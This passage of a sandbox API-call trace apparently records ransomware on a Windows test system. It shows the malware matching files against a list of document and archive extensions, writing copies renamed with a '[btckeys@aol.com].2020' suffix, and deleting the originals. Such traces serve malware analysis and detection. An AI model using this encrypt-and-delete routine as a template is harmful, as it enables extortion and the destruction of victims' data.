Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0076.235] lstrlenW (lpString=".1cd") returned 4 [0076.235] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0076.235] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0076.235] lstrlenW (lpString=".jpg") returned 4 [0076.235] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0076.235] lstrcmpiW (lpString1=".XML", lpString2=".2020") returned 1 [0076.235] lstrlenW (lpString="STOCKS.XML") returned 10 [0076.235] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0076.248] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x23aff1c | out: lpFileSize=0x23aff1c*=2687) returned 1 [0076.258] CloseHandle (hObject=0x1fc) returned 1 [0076.258] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml")) returned 0x20 [0076.258] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0076.258] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0076.258] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0076.258] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0076.268] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0076.281] GetLastError () returned 0x0 [0076.281] ReadFile (in: hFile=0x1fc, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23afed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x23afed4*=0xa7f, lpOverlapped=0x0) returned 1 [0076.307] WriteFile (in: hFile=0x200, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xa80, lpNumberOfBytesWritten=0x23afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x23afc9c*=0xa80, lpOverlapped=0x0) returned 1 [0076.308] ReadFile (in: hFile=0x1fc, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23afed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x23afed4*=0x0, lpOverlapped=0x0) returned 1 [0076.308] WriteFile (in: hFile=0x200, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x23afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x23afc9c*=0xe8, lpOverlapped=0x0) returned 1 [0076.308] SetEndOfFile (hFile=0x200) returned 1 [0076.308] CloseHandle (hObject=0x200) returned 1 [0076.308] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0076.308] SetEndOfFile (hFile=0x1fc) returned 1 [0076.309] CloseHandle (hObject=0x1fc) returned 1 [0076.309] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x20) returned 1 [0076.309] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml")) returned 1 [0076.310] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0076.310] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0076.310] lstrlenW (lpString=".doc") returned 4 [0076.310] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0076.310] lstrlenW (lpString=".docx") returned 5 [0076.310] lstrcmpiW (lpString1=".docx", lpString2="S.XML") returned -1 [0076.310] lstrlenW (lpString=".pdf") returned 4 [0076.310] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0076.310] lstrlenW (lpString=".xls") returned 4 [0076.310] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0076.310] lstrlenW (lpString=".xlsx") returned 5 [0076.310] lstrcmpiW (lpString1=".xlsx", lpString2="S.XML") returned -1 [0076.310] lstrlenW (lpString=".ppt") returned 4 [0076.310] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0076.310] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0076.310] lstrlenW (lpString=".zip") returned 4 [0076.310] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0076.310] lstrlenW (lpString=".rar") returned 4 [0076.310] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0076.310] lstrlenW (lpString=".bz2") returned 4 [0076.310] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0076.310] lstrlenW (lpString=".7z") returned 3 [0076.310] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0076.310] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0076.310] lstrlenW (lpString=".dbf") returned 4 [0076.310] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0076.310] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0076.311] lstrlenW (lpString=".1cd") returned 4 [0076.311] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0076.311] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0076.311] lstrlenW (lpString=".jpg") returned 4 [0076.311] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0076.311] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0076.311] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0076.311] lstrlenW (lpString=".doc") returned 4 [0076.311] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0076.311] lstrlenW (lpString=".docx") returned 5 [0076.311] lstrcmpiW (lpString1=".docx", lpString2="S.XML") returned -1 [0076.311] lstrlenW (lpString=".pdf") returned 4 [0076.311] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0076.311] lstrlenW (lpString=".xls") returned 4 [0076.311] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0076.311] lstrlenW (lpString=".xlsx") returned 5 [0076.311] lstrcmpiW (lpString1=".xlsx", lpString2="S.XML") returned -1 [0076.311] lstrlenW (lpString=".ppt") returned 4 [0076.311] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0076.311] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0076.311] lstrlenW (lpString=".zip") returned 4 [0076.311] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0076.311] lstrlenW (lpString=".rar") returned 4 [0076.311] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0076.312] lstrlenW (lpString=".bz2") returned 4 [0076.312] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0076.312] lstrlenW (lpString=".7z") returned 3 [0076.312] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0076.312] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0076.312] lstrlenW (lpString=".dbf") returned 4 [0076.312] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0076.312] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0076.312] lstrlenW (lpString=".1cd") returned 4 [0076.312] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0076.312] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0076.312] lstrlenW (lpString=".jpg") returned 4 [0076.312] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0076.312] lstrcmpiW (lpString1=".htm", lpString2=".2020") returned 1 [0076.312] lstrlenW (lpString="Bears.htm") returned 9 [0076.312] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0076.332] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x23aff1c | out: lpFileSize=0x23aff1c*=255) returned 1 [0076.332] CloseHandle (hObject=0x1e8) returned 1 [0076.332] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm")) returned 0x20 [0076.332] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0076.333] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0076.333] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0076.333] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0076.333] lstrlenW (lpString=".doc") returned 4 [0076.333] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0076.333] lstrlenW (lpString=".docx") returned 5 [0076.333] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0076.333] lstrlenW (lpString=".pdf") returned 4 [0076.333] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0076.333] lstrlenW (lpString=".xls") returned 4 [0076.333] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0076.333] lstrlenW (lpString=".xlsx") returned 5 [0076.333] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0076.333] lstrlenW (lpString=".ppt") returned 4 [0076.333] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0076.333] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0076.333] lstrlenW (lpString=".zip") returned 4 [0076.333] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0076.333] lstrlenW (lpString=".rar") returned 4 [0076.333] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0076.333] lstrlenW (lpString=".bz2") returned 4 [0076.333] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0076.333] lstrlenW (lpString=".7z") returned 3 [0076.333] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0076.333] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0076.333] lstrlenW (lpString=".dbf") returned 4 [0076.333] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0076.333] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0076.333] lstrlenW (lpString=".1cd") returned 4 [0076.333] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0076.334] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0076.334] lstrlenW (lpString=".jpg") returned 4 [0076.334] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0076.334] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0076.334] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0076.334] lstrlenW (lpString=".doc") returned 4 [0076.334] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0076.334] lstrlenW (lpString=".docx") returned 5 [0076.334] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0076.334] lstrlenW (lpString=".pdf") returned 4 [0076.334] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0076.334] lstrlenW (lpString=".xls") returned 4 [0076.334] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0076.334] lstrlenW (lpString=".xlsx") returned 5 [0076.334] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0076.334] lstrlenW (lpString=".ppt") returned 4 [0076.334] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0076.334] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0076.334] lstrlenW (lpString=".zip") returned 4 [0076.334] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0076.334] lstrlenW (lpString=".rar") returned 4 [0076.334] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0076.334] lstrlenW (lpString=".bz2") returned 4 [0076.334] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0076.334] lstrlenW (lpString=".7z") returned 3 [0076.334] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0076.334] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0076.334] lstrlenW (lpString=".dbf") returned 4 [0076.334] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0076.334] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0076.334] lstrlenW (lpString=".1cd") returned 4 [0076.334] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0076.334] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0076.335] lstrlenW (lpString=".jpg") returned 4 [0076.335] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0076.335] lstrcmpiW (lpString1=".jpg", lpString2=".2020") returned 1 [0076.335] lstrlenW (lpString="Bears.jpg") returned 9 [0076.335] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0076.335] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x23aff1c | out: lpFileSize=0x23aff1c*=1074) returned 1 [0076.335] CloseHandle (hObject=0x1e8) returned 1 [0076.335] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg")) returned 0x20 [0076.335] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0076.335] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0076.335] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0076.335] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0076.336] lstrlenW (lpString=".doc") returned 4 [0076.336] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0076.336] lstrlenW (lpString=".docx") returned 5 [0076.336] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0076.336] lstrlenW (lpString=".pdf") returned 4 [0076.336] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0076.336] lstrlenW (lpString=".xls") returned 4 [0076.336] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0076.336] lstrlenW (lpString=".xlsx") returned 5 [0076.336] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0076.336] lstrlenW (lpString=".ppt") returned 4 [0076.336] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0076.336] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0076.336] lstrlenW (lpString=".zip") returned 4 [0076.336] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0076.336] lstrlenW (lpString=".rar") returned 4 [0076.336] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0076.336] lstrlenW (lpString=".bz2") returned 4 [0076.336] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0076.336] lstrlenW (lpString=".7z") returned 3 [0076.336] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0076.336] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0076.336] lstrlenW (lpString=".dbf") returned 4 [0076.336] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0076.336] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0076.336] lstrlenW (lpString=".1cd") returned 4 [0076.336] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0076.336] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0076.336] lstrlenW (lpString=".jpg") returned 4 [0076.336] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0076.336] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0076.336] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0076.336] lstrlenW (lpString=".doc") returned 4 [0076.337] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0076.337] lstrlenW (lpString=".docx") returned 5 [0076.337] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0076.337] lstrlenW (lpString=".pdf") returned 4 [0076.337] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0076.337] lstrlenW (lpString=".xls") returned 4 [0076.337] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0076.337] lstrlenW (lpString=".xlsx") returned 5 [0076.337] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0076.337] lstrlenW (lpString=".ppt") returned 4 [0076.337] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0076.337] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0076.337] lstrlenW (lpString=".zip") returned 4 [0076.337] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0076.337] lstrlenW (lpString=".rar") returned 4 [0076.337] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0076.337] lstrlenW (lpString=".bz2") returned 4 [0076.337] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0076.337] lstrlenW (lpString=".7z") returned 3 [0076.337] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0076.337] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0076.337] lstrlenW (lpString=".dbf") returned 4 [0076.337] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0076.337] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0076.337] lstrlenW (lpString=".1cd") returned 4 [0076.337] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0076.337] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0076.337] lstrlenW (lpString=".jpg") returned 4 [0076.337] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0076.337] lstrcmpiW (lpString1=".jpg", lpString2=".2020") returned 1 [0076.337] lstrlenW (lpString="Blue_Gradient.jpg") returned 17 [0076.338] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\blue_gradient.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0076.359] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x23aff1c | out: lpFileSize=0x23aff1c*=2575) returned 1 [0076.359] CloseHandle (hObject=0x1e8) returned 1 [0076.360] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\blue_gradient.jpg")) returned 0x20 [0076.360] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\blue_gradient.jpg.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0076.360] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\blue_gradient.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0076.360] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0076.360] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0076.360] lstrlenW (lpString=".doc") returned 4 [0076.360] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0076.360] lstrlenW (lpString=".docx") returned 5 [0076.360] lstrcmpiW (lpString1=".docx", lpString2="t.jpg") returned -1 [0076.360] lstrlenW (lpString=".pdf") returned 4 [0076.360] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0076.360] lstrlenW (lpString=".xls") returned 4 [0076.360] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0076.360] lstrlenW (lpString=".xlsx") returned 5 [0076.360] lstrcmpiW (lpString1=".xlsx", lpString2="t.jpg") returned -1 [0076.360] lstrlenW (lpString=".ppt") returned 4 [0076.360] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0076.360] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0076.360] lstrlenW (lpString=".zip") returned 4 [0076.360] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0076.360] lstrlenW (lpString=".rar") returned 4 [0076.360] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0076.360] lstrlenW (lpString=".bz2") returned 4 [0076.360] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0076.360] lstrlenW (lpString=".7z") returned 3 [0076.360] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0076.360] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0076.360] lstrlenW (lpString=".dbf") returned 4 [0076.360] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0076.361] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0076.361] lstrlenW (lpString=".1cd") returned 4 [0076.361] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0076.361] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0076.361] lstrlenW (lpString=".jpg") returned 4 [0076.361] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0076.361] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0076.361] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0076.361] lstrlenW (lpString=".doc") returned 4 [0076.361] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0076.361] lstrlenW (lpString=".docx") returned 5 [0076.361] lstrcmpiW (lpString1=".docx", lpString2="t.jpg") returned -1 [0076.361] lstrlenW (lpString=".pdf") returned 4 [0076.361] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0076.361] lstrlenW (lpString=".xls") returned 4 [0076.361] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0076.361] lstrlenW (lpString=".xlsx") returned 5 [0076.361] lstrcmpiW (lpString1=".xlsx", lpString2="t.jpg") returned -1 [0076.361] lstrlenW (lpString=".ppt") returned 4 [0076.361] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0076.361] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0076.361] lstrlenW (lpString=".zip") returned 4 [0076.361] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0076.361] lstrlenW (lpString=".rar") returned 4 [0076.361] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0076.361] lstrlenW (lpString=".bz2") returned 4 [0076.361] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0076.361] lstrlenW (lpString=".7z") returned 3 [0076.361] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0076.361] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0076.361] lstrlenW (lpString=".dbf") returned 4 [0076.361] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0076.361] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0076.361] lstrlenW (lpString=".1cd") returned 4 [0076.362] lstrcmpiW (lpString1=".1cd", 